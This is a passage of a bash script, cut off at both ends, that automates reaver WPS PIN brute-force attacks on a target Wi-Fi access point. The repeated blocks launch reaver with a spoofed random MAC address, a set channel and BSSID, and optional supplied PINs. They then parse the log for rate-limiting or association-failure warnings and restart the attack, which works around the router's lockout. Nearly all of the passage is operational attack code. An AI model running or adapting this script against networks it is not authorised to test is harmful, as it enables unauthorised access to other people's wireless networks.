#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R18 == y || $USE_R18 == Y ]] && [[ $USE_LONG18 == y || $USE_LONG18 == Y ]] && [[ $USE_PIN18 == n || $USE_PIN18 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX18" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY18"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -r $RX18:$RY18 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R18 == n || $USE_R18 == N ]] && [[ $USE_LONG18 == n || $USE_LONG18 == N ]] && [[ $USE_PIN18 == y || $USE_PIN18 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -vv -x 60  --pin=$WPS_PIN18 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R18 == y || $USE_R18 == Y ]] && [[ $USE_LONG18 == n || $USE_LONG18 == N ]] && [[ $USE_PIN18 == y || $USE_PIN18 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX18" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY18"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -vv -x 60 -r $RX18:$RY18 --pin=$WPS_PIN18 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R18 == n || $USE_R18 == N ]] && [[ $USE_LONG18 == y || $USE_LONG18 == Y ]] && [[ $USE_PIN18 == y || $USE_PIN18 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN18 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R18 == y || $USE_R18 == Y ]] && [[ $USE_LONG18 == y || $USE_LONG18 == Y ]] && [[ $USE_PIN18 == y || $USE_PIN18 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX18" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY18"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -r $RX18:$RY18 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN18 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

